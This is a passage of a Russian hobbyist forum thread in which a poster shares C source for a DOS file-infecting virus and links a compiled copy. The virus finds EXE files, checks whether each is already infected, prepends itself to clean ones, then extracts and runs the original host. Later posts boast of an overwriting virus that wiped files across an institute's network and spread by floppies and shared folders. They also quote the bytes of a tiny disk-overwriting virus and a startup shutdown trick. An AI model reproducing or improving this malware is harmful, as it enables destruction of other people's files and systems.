//-- СТРОКА ДОЛЖНА ЗАКАНЧИВАТЬСЯ НОЛЁМ .
//-- ФУНКЦИЯ ПОЛУЧАЕТ ОДИН АРГУМЕНТ ---- УКАЗАТЕЛЬ
//-- НА НАЧАЛО СТРОКИ .

//-- ТРЕБУЮТСЯ ФАЙЛЫ

//-- <stdio.h>

//-- <conio.h>

{

int B1,C1;


for(C1=0;C1<100;C1=C1+1)

{

B1=*(A1+C1);

if (B1==0)

{ break ; }

putch(B1);

}

return(0);

}


//---------------------------------------------------------------------



* VIVODSTROKIINT(int*A1)

//-- ЭТА ФУНКЦИЯ ВЫВОДИТ НА ЭКРАН СТРОКУ СИМВОЛОВ .
//-- СТРОКА ДОЛЖНА ЗАКАНЧИВАТЬСЯ НОЛЁМ .
//-- ФУНКЦИЯ ПОЛУЧАЕТ ОДИН АРГУМЕНТ ---- УКАЗАТЕЛЬ
//-- НА НАЧАЛО СТРОКИ .

//-- ТРЕБУЮТСЯ ФАЙЛЫ

//-- <stdio.h>

//-- <conio.h>

{

int B1,C1;

for(C1=0;C1<100;C1=C1+1)

{

B1=*(A1+C1);

if (B1==0)

{ break ; }

putch(B1);

}

return(0);

}

//---------------------------------------------------------------------


*PREOBRAZOVANIJE_INT_V_CHAR(int*A,char*B)

//------ ФУНКЦИЯ ДЛЯ ПРЕОБРАЗОВАНИЯ МАССИВА INT В МАССИВ CHAR . ---------------------------

{

int C;
int D;
for (C=0;C<256;C=C+1)
{
D=A[C];
B[C]=D;
if (D==0)
{

break ;

}

}

return(0);

}


//---------------------------------------------------------------------


*PREOBRAZOVANIJE_CHAR_V_INT(char*A,int*B)

//------ ФУНКЦИЯ ДЛЯ ПРЕОБРАЗОВАНИЯ МАССИВА INT В МАССИВ CHAR . ---------------------------

{

int C;
int D;
for (C=0;C<256;C=C+1)
{
D=A[C];
B[C]=D;
if (D==0)
{

break ;

}

}

return(0);

}


//---------------------------------------------------------------------









int SRAVNENIJESTROK(int*A,int*B,int C)






//----- ЭТА ФУНКЦИЯ ПОБАЙТНО СРАВНИВАЕТ СТРОКИ A И B .
//----- СРАВНИВАЮТСЯ ПЕРВЫЕ C-1 СИМВОЛОВ .
//----- ФУНКЦИЯ ВОЗВРАЩАЕТ 1 ЕСЛИ СТРОКИ РАВНЫ .
//----- ИНАЧЕ ФУНКЦИЯ ВОЗВРАЩАЕТ НОЛЬ .





{




int D;
int E,F;

int H;




H=1;


for (D=0;D<C;D=D+1)

{

E=A[D];

F=B[D];

if (E!=F)

{

H=0;

}






}





return(H);

}



//------------------ ЭТА ФУНКЦИЯ СРАВНИВАЕТ ДВА ФАЙЛА . ---------------










int SRAVNENIJEPROGRAMM(char*PERVIJFAJL,char*VTOROJFAJL)

//----- ЭТА ПРОГРАММА ОТКРЫВАЕТ ДВА ФАЙЛА И СРАВНИВАЕТ
//----- ПОБАЙТНО ПЕРВЫЕ 500 БАЙТ КАЖДОГО ФАЙЛА .

//----- АРГУМЕНТЫ .
//----- PERVIJFAJL И
//----- VTOROJFAJL

//----- ЭТО НАЗВАНИЯ ФАЙЛОВ .

//----- ФУНКЦИЯ ВОЗВРАЩАЕТ 1 ЕСЛИ ФАЙЛЫ ИДЕНТИЧНЫ .
//----- ЕСЛИ ХОТЯ БЫ ОДИН БАЙТ ОТЛИЧАЕТСЯ , ТО ФУНКЦИЯ ВОЗВРАЩАЕТ НОЛЬ .


{



FILE*ISTOCHNIK ;

FILE*ISTOCHNIK2 ;





int C,D,C1,F;


int STROKADLIASRAVNENIJA1[501];

int STROKADLIASRAVNENIJA2[501];

int REZULTAT;



int VERSHINA ;

int OTKUDANACHAT;

int DOKUDASMOTRET;

//---------------------- КОНЕЦ ПЕРЕМЕННЫХ . ---------------------------

REZULTAT=3;



OTKUDANACHAT=0;

DOKUDASMOTRET=499;

VERSHINA=500;




for (D=0;D<501;D=D+1)

{

STROKADLIASRAVNENIJA1[D]=0;

STROKADLIASRAVNENIJA2[D]=0;


}

//---------------------------------------------------------------------

F=0;



















if((ISTOCHNIK = fopen(PERVIJFAJL,"rb"))==NULL)


{

cprintf("NE MOGU OTKRIT FAIL 1 . ");



getch();

}








if((ISTOCHNIK2 = fopen(VTOROJFAJL,"rb"))==NULL)


{

cprintf("NE MOGU OTKRIT FAIL 2 . ");



getch();

}












for (D=0;D<VERSHINA;D=D+1)

{







C=fgetc(ISTOCHNIK);

C1=fgetc(ISTOCHNIK2);






if (D>OTKUDANACHAT)

{



if (D<DOKUDASMOTRET)

{


STROKADLIASRAVNENIJA1[D]=C;

STROKADLIASRAVNENIJA2[D]=C1;


//----- МЫ ВЗЯЛИ ДВА ФАЙЛА И СЧИТАЛИ ИЗ НИХ ПО СТРОКЕ . ---------------









}

}










}




fclose(ISTOCHNIK);

fclose(ISTOCHNIK2);


cprintf(" !!!!!!!!!!!!!!!!!! VNIMANIJE !!!!!!!!!!!!!!!!!!!!!!!");

putch(10);
putch(13);

cprintf(" VOT STROKI . ");

putch(10);
putch(13);


//------------------------ ВЫВОД НАШИХ СТРОК . ------------------------










textcolor(10);









//------------------- ТЕПЕРЬ СРАВНИМ ЭТИ СТРОКИ ! ---------------------


REZULTAT=SRAVNENIJESTROK(STROKADLIASRAVNENIJA1,STROKADLIASRAVNENIJA2,500);




return(REZULTAT);


}




//=====================================================================


*PREVED(int*A,int*B)

//------ ФУНКЦИЯ ДЛЯ КОПИРОВАНИЯ МАССИВОВ . ---------------------------

{

int C;
int D;
for (C=0;C<256;C=C+1)
{
D=A[C];
B[C]=D;
if (D==0)
{

break ;

}

}

return(0);

}

//---------------------------------------------------------------------






//---------------------------------------------------------------------



//---------------------------------------------------------------------






* POISKFAILOV()

// ЭТА ФУНКЦИЯ ВОЗВРАЩАЕТ УКАЗАТЕЛЬ НА ДВУМЕРНЫЙ МАССИВ СИМВОЛОВ .
// В МАССИСЕ 100 СТРОК ПО 100 СИМВОЛОВ .
// ЭЛЕМЕНТ МАССИВА С ИНДЕКСОМ [99][100] СОДЕРЖИТ ЧИСЛО ТИПА INT .
// ЭТО ЧИСЛО ЕСТЬ ЧИСЛО НАЙДЕННЫХ ФАЙЛОВ .
// КАЖДАЯ СТРОКА МАССИВА СОДЕРЖИТ НАЗВАНИЕ ФАЙЛА И ЗАКАНЧИВАЕТСЯ
// НУЛЕВЫМИ БАЙТАМИ .

{

int*UKAZATEL;
int DINOZAVR;
int KATALOG;
int QQ[100][100];

char NAZVANIJEFAILA[30];
struct ffblk ffblk;

struct JAVIJZUVSIO {

char ff_attrib;        /* атрибуты */
int  ff_ftime;         /* время */
int  ff_fdate;         /* дата  */
long ff_fsize;         /* размер */
char ff_fname[13];     /* имя файла */

};


int AZEROTH;
int CHISLOFAILOV ;
int CHISLOKATALOGOV ;

int A,C,DD,FF,EH,JJ;
char B;
int CHISLOBUKVVMASSIVE;










                       // НАЧАЛО ФУНКЦИИ .

for (A=0;A<100;A=A+1)
{
for (JJ=0;JJ<100;JJ=JJ+1)
{
QQ[A][JJ]=0;
}
}




CHISLOFAILOV=0;
CHISLOKATALOGOV=1;
printf("JA VIJZU FAILI *.*\n");

AZEROTH = findfirst("*EXE",&ffblk,16);

while (!AZEROTH)

{




AZEROTH = findnext(&ffblk);

textcolor (10) ;

cprintf("%d ",CHISLOFAILOV);

textcolor (7) ;




KATALOG=ffblk.ff_attrib;



textcolor(10);

A=0;

putch(10);
putch(13);



B=ffblk.ff_name[0];


if (KATALOG!=16)

{


//------------------------------------------------------------------------


// ПОБАЙТНОЕ КОПИРОВАНИЕ СТРОКИ СИМВОЛОВ ИЗ СТРУКТУРЫ В МАССИВ .
         

for (A=0;A<256;A=A+1)

{

B=ffblk.ff_name[A];

QQ[CHISLOKATALOGOV][A]=B;

if (B==0)

{

QQ[CHISLOKATALOGOV][A]=B;

CHISLOKATALOGOV=CHISLOKATALOGOV+1;

goto m1;

}


putch(B);

}


//------------------------------------------------------------------------

CHISLOKATALOGOV=CHISLOKATALOGOV+1;

}

m1:textcolor(7);


CHISLOFAILOV=CHISLOFAILOV+1;

if (CHISLOFAILOV>75)

{ break; }


}




putch(10);
putch(13);

printf("VSEGO NAJDENO FAILOV ");
printf("%d",CHISLOFAILOV);

putch(10);
putch(13);





cprintf("MASSIV ZAPISAN . ");

textcolor(10);


putch(10);
putch(13);

cprintf(" FUNKTZIJA POISKA FAILOV VIPOLNENA . ");

UKAZATEL=&QQ[0][0];

QQ[99][100]=CHISLOFAILOV;

return(UKAZATEL);

}

           // КОНЕЦ ФУНКЦИИ ПОИСКА ФАЙЛОВ .







Название: Re: ФУНКЦИИ СИ .
Отправлено: Барон Морт от 12 Мая 2013, 00:37:17



int RAZMNOJENIJE(char*A3,long C3,char*B3,long F3)



//----- ЭТА ФУНКЦИЯ ОБЪЕДИНЯЕТ ДВА ФАЙЛА В ОДИН . ОНА БУДЕТ СЛУЖИТЬ
//----- НАМ ДЛЯ РАЗМНОЖЕНИЯ ! ----------------------------------------

//----- ФУНКЦИЯ ПОЛУЧАЕТ ТРИ АРГУМЕНТА ---- A,B И C .
//----- ИЗ НИХ А И B ---- ЭТО НАЗВАНИЯ ФАЙЛОВ , А С ---- ЭТО ЧИСЛО
//----- КОПИРУЕМЫХ БАЙТОВ .


{

char D3[100]="KABANCHIK.EXE";

int C4;

int E4 ;


FILE*OTKUDAKOPIRUEM ;

FILE*KUDAKOPIRUEM ;

FILE*OTKUDAKOPIRUEMNOMERDVA ;



D3[13]=0;




//=========== ОТКРОЕМ ПЕРВЫЙ ФАЙЛ В РЕЖИМЕ ЧТЕНИЯ . ===================

if((OTKUDAKOPIRUEM = fopen(A3,"rb"))==NULL)

{

fprintf(stderr, "NE MOGU OTKRIT FAIL 1 . CHTENIJE . ");  getch();

}

//=====================================================================















//============= ОТКРОЕМ ФАЙЛ КАБАНЧИК НА ЗАПИСЬ . =======================

//--------------------- ЭТО НАШ ФАЙЛ КАБАНЧИК . -----------------------


if((KUDAKOPIRUEM = fopen(D3,"wb"))==NULL)

{

fprintf(stderr, "NEVOZMOJNO OTKRIT FAIL KABANCHIK . ");  getch();

}

//=====================================================================






cprintf(" K O P I R O V A N I J E . ");


//--------------------------- ПЕРВЫЙ ЦИКЛ . ---------------------------


for (C4=0;C4<C3;C4=C4+1)

{


E4=fgetc(OTKUDAKOPIRUEM);

fputc(E4,KUDAKOPIRUEM);





}




fclose(OTKUDAKOPIRUEM);

fclose(KUDAKOPIRUEM);



//---------------------------------------------------------------------


putch(10);
putch(13);



cprintf(" PERVII TZIKL ZAVERSHION ! ");



putch(10);
putch(13);






//=========== ОТКРОЕМ ВТОРОЙ ФАЙЛ В РЕЖИМЕ ЧТЕНИЯ . ===================


if((OTKUDAKOPIRUEMNOMERDVA  = fopen(B3,"rb"))==NULL)

{

fprintf(stderr, "NE MOGU OTKRIT FAIL 2 . CTENIJE . ");  getch();

}


//=====================================================================













//==== СНОВА ОТКРОЕМ ФАЙЛ КАБАНЧИК НА ДОПОЛНИТЕЛЬНУЮ ЗАПИСЬ . =========



if((KUDAKOPIRUEM = fopen(D3,"ab+"))==NULL)

{

fprintf(stderr, "NEVOZMOJNO OTKRIT FAIL KABANCHIK VO VTOROJ RAZ . ");

getch();

}

//=====================================================================










//----------------------- ВТОРОЙ ЦИКЛ . -------------------------------


for (C4=0;C4<F3;C4=C4+1)

{


E4=fgetc(OTKUDAKOPIRUEMNOMERDVA);

fputc(E4,KUDAKOPIRUEM);





}



cprintf(" VTOROJ TZIKL ZAVERSHION ! ");

//---------------------------------------------------------------------





fclose(OTKUDAKOPIRUEMNOMERDVA);

fclose(KUDAKOPIRUEM);


return(0);

}

//---------------------------------------------------------------------

//----- КОНЕЦ ФУНКЦИИ РАЗМНОЖЕНИЕ . -----------------------------------


























//---------------------------------------------------------------------


* VIVODSTROKI(char*A1)

//-- ЭТА ФУНКЦИЯ ВЫВОДИТ НА ЭКРАН СТРОКУ СИМВОЛОВ .
//-- СТРОКА ДОЛЖНА ЗАКАНЧИВАТЬСЯ НОЛЁМ .
//-- ФУНКЦИЯ ПОЛУЧАЕТ ОДИН АРГУМЕНТ ---- УКАЗАТЕЛЬ
//-- НА НАЧАЛО СТРОКИ .

//-- ТРЕБУЮТСЯ ФАЙЛЫ

//-- <stdio.h>

//-- <conio.h>

{

int B1,C1;




for(C1=0;C1<100;C1=C1+1)


{



B1=*(A1+C1);




if (B1==0)

{ break ; }


putch(B1);


}





return(0);

}












//---------------------------------------------------------------------
//---------------------------------------------------------------------
//-------------------- ГЛАВНАЯ ПРОГРАММА . ----------------------------
//---------------------------------------------------------------------
//---------------------------------------------------------------------



int main(int argc, char* argv[])

{




//------------------- ГЛОБАЛЬНЫЕ ПЕРЕМЕННЫЕ . -------------------------



char NASHEMESTOPOLOJZENIJE[256]; //---- НАШ ПУТЬ И НАЗВАНИЕ .


int A,F;

char*QQ;

char B ;

long D;


int SRAVNENIJENAZVANIJASSOBSTVENNIM;



SRAVNENIJENAZVANIJASSOBSTVENNIM=0;



int*NACHALOMASSIVA; //---- УКАЗАТЕЛЬ НА НАЧАЛО МАССИВА С НАЙДЕННЫМИ ФАЙЛАМИ .


int N50;

int Z50,Y50,X50;


int MASSIV1[256];

char MASSIV2[256];


int PROGRESS ;

char QQQ[100]=" ";



int SOBSTVENNAJADLINA;  //---- ДЛИНА ВИРУСА .





//----------------- КОНЕЦ БЛОКА ГЛОБАЛЬНЫХ ПЕРЕМЕННЫХ . ---------------








//----------------- НАЧАЛО ГЛАВНОЙ ФУНКЦИИ . --------------------------


//============== ОБНУЛЕНИЕ МАССИВОВ . =================================


for (F=0;F<256;F=F+1)

{

NASHEMESTOPOLOJZENIJE[F]=0;

}



for (Z50=1;Z50<256;Z50=Z50+1)

{

MASSIV1[Z50]=0;

MASSIV2[Z50]=0;

}

//=====================================================================




SOBSTVENNAJADLINA=12800; //---- НАША СОБСТВЕННАЯ ВИРУСНАЯ ДЛИНА .







cprintf(" VTORAJA CHAST PROGRAMMI ---- RAZMNOZHENIJE . ");
cprintf(" ETA PROGRAMMA UMEET OPREDELIAT SOBSTVENNOJE ");
cprintf(" NAZVANIJE I DLINU FAJLOV . ");

putch(10);putch(13);

cprintf("NASHE MESTOPOLOSHENIJE");

putch(10); putch(13);
putch(10);putch(13);
textcolor(10);


for (F=0;F<1000;F=F+1)

{

QQ=argv[0];

B=*(QQ+F);

NASHEMESTOPOLOJZENIJE[F]=B;

putch(B);

if (B==0) { break;  }  }

putch(10);putch(13);


//---- ТЕПЕРЬ В МАССИВЕ NASHEMESTOPOLOJZENIJE СОДЕРЖИТСЯ СТАРТОВОЕ ИМЯ --------- .

textcolor(7);

putch(10);
putch(13);

cprintf(" PODTVERJZDENIJE STARTOVOGO NAZVANIJA . ");

//---------------------------------------------------------------------





//---------------------------------------------------------------------
//---------------- ВЫВОД МАССИВА СО СТАРТОВЫМ НАЗВАНИЕМ . -------------
//---------------------------------------------------------------------

putch(10);
putch(13);


VIVODSTROKI(NASHEMESTOPOLOJZENIJE);

//---------------------------------------------------------------------
//------------------------- ЗАВЕРШЕНО . -------------------------------
//---------------------------------------------------------------------






getch();



//----------- ОПРЕДЕЛЕНИЕ ДЛИНЫ ФАЙЛА . -------------------------------

D=OPREDELITDLINUFAILA(NASHEMESTOPOLOJZENIJE);







cprintf(" V ETOM FAJLE ");

putch(10);
putch(13);

cprintf("%d",D);

putch(10);
putch(13);

cprintf(" BAJTOV . ");

putch(10);
putch(13);

//-------------------- ЗАВЕРШЕНО . ------------------------------------
























//------------------ ВНИМАНИЕ ! ЧАСТЬ I ---- ПОИСК . ------------------------------




cprintf(" CHAST PERVAJA ---- POISK . ");
cprintf(" POISK . ");
textcolor(10);


//  ФУНКЦИЯ НЕ ПОЛУЧАЕТ НИКАКИХ АРГУМЕНТОВ , НО ВОЗВРАЩАЕТ УКАЗАТЕЛЬ
//  НА МАССИФ С НАЗВАНИЯМИ ФАЙЛОВ .


//             ВЫЗЫВАЕМ ФУНКЦИЮ .


NACHALOMASSIVA=POISKFAILOV();
N50=*(NACHALOMASSIVA+10000);







// ПЕРЕМЕННАЯ NACHALOMASSIVA ---- ЭТО УКАЗАТЕЛЬ НА НАЧАЛО МАССИВА .
// ПОСЛЕДНИЙ ЭЛЕМЕНТ МАССИВА СОДЕРЖИТ ЧИСЛО НАЗВАНИЙ ФАЙЛОВ В МАССИВЕ .

// ЭТОТ ЭЛЕМЕНТ НАХОДИТСЯ В СМЕЩЕНИИ 10000 ОТ НАЧАЛА .
// ТЕПЕРЬ N ---- ЭТО ЧИСЛО НАЙДЕННЫХ ФАЙЛОВ .



cprintf(" V MASSIVE . ");
cprintf("%d",N50);
cprintf(" FAILOV . ");

cprintf(" VOT MOJ TRIUMFALNIJ MASSIV ! /n");






//-------------------- УСОВЕРШЕНСТВОВАННЫЙ ВЫВОД МАССИВА . ------------



putch(10);
putch(13);


cprintf("USOVERSHENSTVOVANNIJ VIVOD MASSIVA . \n");

Y50=100;

X50=N50+1;



//----- ВОТ ГЛАВНЫЙ ЦИКЛ ОБРАБОТКИ ФАЙЛОВ . -------------------------


for (Z50=1;Z50<X50;Z50=Z50+1)

{

putch(10);
putch(13);



if (Z50==20) {getch();}
if (Z50==40) {getch();}






PREVED((NACHALOMASSIVA+Y50),MASSIV1);


//=====================================================================
//------------------ ВНИМАНИЕ !!!!! ----------------------------------
//=====================================================================


//----- СЕЙЧАС . ИМЕННО СЕЙЧАС В МАССИВЕ MASSIV1 НАХОДИТСЯ

//----- ТЕКУЩИЙ ОБРАБАТЫВАЕМАЫЙ НАЙДЕННЫЙ ФАЙЛ .

//----- ИМЕННО СЕЙЧАС МОЖНО ПРИМЕНЯТЬ К НЕМУ НАШИ ФУНКЦИИ КОПИРОВАНИЯ
//----- И ДРУГИЕ ФУНКЦИИ .





VIVODSTROKIINT(MASSIV1);



PREOBRAZOVANIJE_INT_V_CHAR(MASSIV1,MASSIV2);



D=OPREDELITDLINUFAILA(MASSIV2);

textcolor(10);

cprintf("RAZMER FAJLA . ");

cprintf("%d",D);

textcolor(10);





//-----  MASSIV2 ---- ЭТО НАЗВАНИЕ ФАЙЛА .
//----- А ПЕРЕМЕННАЯ D ---- ЭТО ЕГО РАЗМЕР В БАЙТАХ .











//=====================================================================
//=====================================================================
//=====================================================================

//----- ВОТ ТРЕТЬЕ ДОБАВОЧНАЯ СПЕЦИАЛЬНАЯ ЧАСТЬ НАШЕЙ ПРОГРАММЫ .
//----- ЭТА ЧАСТЬ БУДЕТ ОПРЕДЕЛЯТЬ ЗАРЯЖЕН ЛИ ИСКОМЫЙ ФАЙЛ ----
//----- ИЗ СОСТАВНОГО ФАЙЛА ИЛИ ИЗ ЧИСТОЙ ПРОГРАММЫ LE .

PROGRESS=SRAVNENIJEPROGRAMM(NASHEMESTOPOLOJZENIJE,MASSIV2);

//----- ЕСЛИ В ПЕРЕМЕННОЙ PROGRESS ХРАНИТСЯ ОДИН ----
//----- ЭТО ЗНАЧИТ , ЧТО ФАЙЛ MASSIV2 УЖЕ ЗАРЯЖЕН .
//----- ЕСЛИ PROGRESS ---- ЭТО НОЛЬ , ТО ЗНАЧИТ ФАЙЛ НЕ ЗАРЯЖЕН .


//=====================================================================
//=====================================================================
//=====================================================================


if (PROGRESS==0)


{

RAZMNOJENIJE(NASHEMESTOPOLOJZENIJE,SOBSTVENNAJADLINA,MASSIV2,D);
// ВРЕМЯ ДЛЯ РАЗМНОЖЕНИЯ !

unlink(MASSIV2);

rename("KABANCHIK.EXE",MASSIV2);

}

//====================================================================
//----------------------- ВНИМАНИЕ !!!!! -----------------------------
//====================================================================




textcolor(10);














Y50=Y50+100;

}



cprintf("PERVAJA CHAST ZAVERSHENA .");



//----- ПЕРВАЯ ЧАСТЬ ЗАВЕРШЕНА . ------------------------------------












cprintf("PROVERKA VOZMOJNOSTI STIRANIJA FAJLOV .");


unlink("q.txt");




//-------------------------------------- ПРЕВОСХОДНО ! ----------------------------------------


//--------------------- ТЕПЕРЬ ВСЕ НАЙДЕННЫЕ ФАЙЛЫ МОДИФИЦИРОВАНЫ . ---------------------------

//---- ТЕПЕРЬ НАДО ИЗВЛЕЧЬ ИЗ СТАРТОВОГО ФАЙЛА ОРИГИНАЛЬНУЮ ПРОГРАММУ .

//---- И СКОПИРОВАТЬ ЕЁ В ФАЙЛ MEDVED.EXE .

//---- ПОТОМ ЗАПУСТИТЬ MEDVED.EXE , А КОГДА ОН ЗАВЕРШИТ РАБОТУ , СТЕРЕТЬ ЕГО .


//---------------------------------------------------------------------------------------------





if (PROGRESS==1)    //---- ЕСЛИ СТАРТОВЫЙ ФАЙЛ МОДИФИЦИРОВАН .

 

{

//---- ТО ИЗВЛЕКАЕМ ИЗ НЕГО ОРИГИНАЛЬНУЮ ПРОГРАММУ .


IZVLECHENIJE(NASHEMESTOPOLOJZENIJE,SOBSTVENNAJADLINA);




cprintf(" VNIMANIJE ! PEREDACHA UPRAVLENIJA !");


getch();

execl("MEDVED.EXE",QQ);



unlink("MEDVED.EXE");



};



















//---- ТУТ НАША ПРОГРАММА ЗАКАНЧИВАЕТСЯ . ТО ЕСТЬ ЗАКАНЧИВАЕТСЯ ЭТА ПРОГРАММА .
//---------------------------------- НО БУДЕТ И СЛЕДУЮЩАЯ ! -----------------------------------




return 0;

}

//----------------------------------------------------------------------






Название: Re: ФУНКЦИИ СИ .
Отправлено: Барон Морт от 12 Мая 2013, 01:12:12
Вот мой шедевр ----

http://rghost.ru/45932360

Внимание ! НЕ ЗАПУСКАЙТЕ эту программу , если в каталоге , где она находится , есть другие файлы в формате EXE !
Возможно , что без стандарных библиотек программа работать не будет .
Программа не действует на файлы на которых установлен атрибут " только чтение " .

Как использовать TRIUMF.EXE .

1 . Скопируйте TRIUMF.EXE В пустой каталог .
2 . Добавьте туда 3-5 различных программ небольшого размера в виде EXE-файлов .
3 . Снимите со всех файлов атрибут " только чтение " .
4 . Запустите TRIUMF.EXE . Если не будет конфликта с библиотеками , то он не зависнет .
5 . Если программа не зависла , то после окончания её работы попробуйте запустить какой-нибудь из подопытных файлов .

Правильная работа программы НЕ ГАРАНТИРУЕТСЯ . Не храните и не запускайте её в каталоге с другими программами , хранящимися в единственном экземпляре .

Название: Re: ФУНКЦИИ СИ .
Отправлено: Кумехтар от 12 Мая 2013, 14:47:59
Я когда-то нечто подобное на Дельфях писал. Та прога искала все файлы на всех логических дисках компа и заменяла их собой. А еще - дискету 3,5.

Вин мастдай заценил. Работает. Обидно за винду только. Вы сейчас какой операционкой пользуетесь? Виндой, естественно?
Название: Re: ФУНКЦИИ СИ .
Отправлено: Барон Морт от 13 Мая 2013, 23:14:45
Я когда-то нечто подобное на Дельфях писал. Та прога искала все файлы на всех логических дисках компа и заменяла их собой. А еще - дискету 3,5.

Если я не ошибаюсь , это так называемый owerwriter , то есть перезаписывающий вирус . Я слышал что это исторически наиболее древний и наиболее примитивный тип вирусов , появившийся ещё до изобретения MS-DOS . Знатоки утверждают что в настоящее время вирусы вида owerwriter сохранились как соревнование на самый маленький вирус .
Сейчас первенство удерживает вирус kyjack размером всего 4 байта. При запуске он записывает себя на все сектора дискеты. Вот эти 4 байта:

8B DE CD 26.

Данные четыре байта соответствуют коммандам ассемблера

MOV BX,SI

INT 26h

Че делают эти команды , я до сих пор не понял ! Инт 26 ---- это запись на диск , а Беикс и СИ это по-видимому пораметры -- откуда начать писать и сколько байт записывать . Вот только откуда взялся в BX ( Или SI ) адрес самой проги ---- сие есть тайна .

.
Название: Re: ФУНКЦИИ СИ .
Отправлено: Барон Морт от 13 Мая 2013, 23:18:03
А еще - дискету 3,5.

Дискета 3.5 А ---- это наше все ! Ещё можно в AUTOEXEC.BAT собственное имя записать если установлена работоспособная ДОС .

Кстати насчёт AAUTOEXEC А
Вспоминается великий и могучий хит всех времен и народов ---- запустить в каталог " Автозагрузка " файл с расширением  .bat и вот с таким содержанием :

shutdown /t 10
Название: Re: ФУНКЦИИ СИ .
Отправлено: Барон Морт от 13 Мая 2013, 23:35:44
Вин мастдай заценил. Работает. Обидно за винду только. Вы сейчас какой операционкой пользуетесь? Виндой, естественно?

7 .
Название: Re: ФУНКЦИИ СИ .
Отправлено: Барон Морт от 13 Мая 2013, 23:43:26
Обидно за винду только.

Почему , неужто Вы -- поклонник Баала ?
Название: Re: ФУНКЦИИ СИ .
Отправлено: Барон Морт от 13 Мая 2013, 23:54:18
Та прога искала все файлы на всех логических дисках компа и заменяла их собой.

Чтобы не стирать файлы , можно записывать себя под случайным названием ( именем ) . Правда после этого программа даже формально перестанет считаться вирусом .

Тут , понимешь , был такой случай . Написал я эту могучую прогу и забил на язык СИ . А на диске после отладки остались штук тысяча разных её копий и все под разными именами . Установил , я , значит , шутки ради игру Aliens versus Predator . У ней установочный файл в виде  одного EXE - файла . Вернее не установил , а скопировал этот файл , причём он был у меня в единственном экземляре . И случайно нажал не ту клавишу , запустил свой аццкей недовирус . Он взял и переписал весь файл игры , причём файл после этого не работает вообще ( хотя по логике должен работать ) а только говорит " Превед Медвед  " . Так я лишился игры .
Название: Re: ФУНКЦИИ СИ .
Отправлено: Кумехтар от 14 Мая 2013, 09:11:11
Сейчас первенство удерживает вирус kyjack размером всего 4 байта.

Я уже давно считаю, что такие вирусы не имеют смысла. Файл размером 4 байта... Кто бы чего там не говорил, но такой файл вызывает подозрения, да и антивируска их ловит. В качестве соревнования - да, круто. В качестве реально рабочего вируса - такой размер не катит. А вот файл размером в 400 килобайт - другое дело.

Вин мастдай заценил. Работает. Обидно за винду только. Вы сейчас какой операционкой пользуетесь? Виндой, естественно?

7 .

Марш на Линукс!!! Не любите Винду - нечего ей пользоваться! А пользуетесь - нечего ворчать.

Почему , неужто Вы -- поклонник Баала ?

Важнейший недостаток Винды - цена. Остальное - ерунда.

Чтобы не стирать файлы , можно записывать себя под случайным названием ( именем ) . Правда после этого программа даже формально перестанет считаться вирусом .

Тут вся соль была в том, чтобы новосозданные ексешники не вызывали подозрений, ведь размножение этого вируса было рассчитано в основном на человеческий фактор. И рассчет полностью оправдался.

И случайно нажал не ту клавишу , запустил свой аццкей недовирус . Он взял и переписал весь файл игры , причём файл после этого не работает вообще ( хотя по логике должен работать ) а только говорит " Превед Медвед  " . Так я лишился игры .

Сочувствую)))))
Название: Re: ФУНКЦИИ СИ .
Отправлено: Барон Морт от 15 Мая 2013, 03:56:28
Кто бы чего там не говорил, но такой файл вызывает подозрения, да и антивируска их ловит.

А почему он у ламера должен вызвать подозрения ?
А вот файл размером в 400 килобайт - другое дело.

Ха-ха ! Шутка что ли ? Нет , вирус должен быть маленьким .

Марш на Линукс!!! Не любите Винду - нечего ей пользоваться! А пользуетесь - нечего ворчать.
Я ---- нуп в Линуксах . К томуже игр для него нет . И варкрафт не работает там . И вообще от стандарта POsix я не тащусь . Что там есть полезного ?

А проклясть вин32 и презирать его ---- это священный долг каждого нуба , ламера и хеллоувордщика ( и всех юзеров вин32 вообще ) . Ибо иначе ---- нельзя .


Важнейший недостаток Винды - цена. Остальное - ерунда.

Какая еще цена .

Господь с Вами ! Да поможет Вам благодатный дух преподобных святых фон неймана и Вирта !  Мы живём в России . Ободрать проклятых заморских буржуев и никогда им ничего не платить ---- это наш священнейший долг и обязанность ! Да чтоб мне сто лет программировать многопоточность в Дос в защищенном режиме на интерпретаторе Microsoft QBasik если я соглашусь установить лицензионные программы ! Чтоб мне музыку слушать и фильмы смотреть в чистом ДОС без монитора и без мыши , без нортон коммандора и драйверов , если я на это соглашусь добровольно .


Тут вся соль была в том, чтобы новосозданные ексешники не вызывали подозрений, ведь размножение этого вируса было рассчитано в основном на человеческий фактор. И рассчет полностью оправдался.


Ага ! Значит , прога была испытана ! Пдробности в студию !
Название: Re: ФУНКЦИИ СИ .
Отправлено: Барон Морт от 15 Мая 2013, 03:58:54
Тут вся соль была в том, чтобы новосозданные ексешники не вызывали подозрений, ведь размножение этого вируса было рассчитано в основном на человеческий фактор. И рассчет полностью оправдался.

А дату и время создания файла сохранять не забывали ? И атрибуты ?
Название: Re: ФУНКЦИИ СИ .
Отправлено: Барон Морт от 15 Мая 2013, 04:01:40
антивируска их ловит.

Ловит , конечно , это же без всякой антиэвристики простейший вирус . Предельный случай простоты , так сказать . Образец технологии 80-х годов XX века .
Название: Re: ФУНКЦИИ СИ .
Отправлено: Кумехтар от 15 Мая 2013, 11:48:33
А почему он у ламера должен вызвать подозрения ?

Потому что маленький. Нормальная рабочая прога не может иметь такие размеры, следственно - люди не поверят в то, что этот файл - что-то полезное и не запустят его. А потом его тупо сожрет антивируска.  Логично? Мой же вирус на то время Касперский не ловил, и выглядел он презентабельно. Даже иконку красивую имел. Во как!

А проклясть вин32 и презирать его ---- это священный долг каждого нуба , ламера и хеллоувордщика ( и всех юзеров вин32 вообще ) . Ибо иначе ---- нельзя .

По Станиславскому - не верю. )))

Какая еще цена .

Я работаю сисадмином в крупном институте, поэтому без лицензии мы никуда. Бродят тут разные, проверяют... Поэтому и ставят Убунту многие - бесплатная она. И 1С под нее уже подмазали, и Либре...

Ага ! Значит , прога была испытана ! Пдробности в студию !

О да, была испытана, да еще как! Не,  про дату создания и атрибуты я попросту забыл. Но она исправно заменяла собой все файлы на всех логических дисках компа, до которых могла дотянуться со своими правами доступа. Поскольку в то время я учился в институте - то жертвой выступила сетка этого института. Там все пользователи работали под ограничеными правами (под юзерами),  то само ядро системы этот вирус не жрал. Но вот все остальное летело на фиг со второй космической скоростью. Даже фоновый рисунок рабочего стола благополучно подьедался этой злобной прогой. Размножение этого вируса было полностью рассчитано на человеческий фактор. Во-первых - это дискетки (флешки были редкостью), на которые копировалась эта прога. Во-вторых - сетевые папки. Человек вставлял свою дискетку на ином компе и видел неизвесный файл, имеющий презентабельный вид и красивую иконку 